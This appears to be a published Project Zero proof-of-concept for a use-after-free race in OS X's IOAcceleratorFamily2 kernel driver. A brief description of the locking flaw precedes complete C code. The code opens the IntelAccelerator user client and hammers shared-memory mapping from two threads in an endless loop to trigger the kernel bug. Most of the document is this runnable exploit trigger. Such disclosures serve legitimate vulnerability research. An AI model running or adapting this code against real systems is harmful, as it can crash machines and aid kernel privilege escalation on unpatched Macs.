OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=772
 
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.
 
At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
 
// ianbeer
 
// clang -o ioaccel_mem_uaf ioaccel_mem_uaf.c -framework IOKit -framework CoreFoundation -lpthread
 
 
/*
OS X kernel use-after-free due to bad locking in IOAcceleratorFamily2
 
In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.
 
At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.
 
Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/
 
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
 
#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>
 
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
 
io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;
 
  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
   
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }
 
  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
     
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);
 
    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }
 
  io_connect_t conn = MACH_PORT_NULL;
 
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
   
  return conn;
}
 
 
kern_return_t ioconnect_map(io_connect_t conn, int type) {
  mach_vm_address_t addr = 0;
  mach_vm_size_t size = 0x1000;
  return IOConnectMapMemory64(
    conn,
    type,
    mach_task_self(),
    &addr,
    &size,
    kIOMapAnywhere
  );
}
 
kern_return_t ioconnect_unmap(io_connect_t conn, int type) {
  mach_vm_address_t addr = 0;
  mach_vm_size_t size = 0x1000;
  return IOConnectUnmapMemory64(
    conn,
    type,
    mach_task_self(),
    addr
  );
}
 
io_connect_t client = MACH_PORT_NULL;
 
void* poc(void* arg) {
  for (int i = 0 ; i < 1000; i++) {
    ioconnect_map(client, 2);
  }
  return NULL;
}
 
int main(int argc, char** argv){
  for(;;){
    client = get_user_client("IntelAccelerator", 2);
    pthread_t t;
    pthread_create(&t, NULL, poc, NULL);
    poc(NULL);
    pthread_join(t, NULL);
    IOServiceClose(client);
  }
  return 0;
}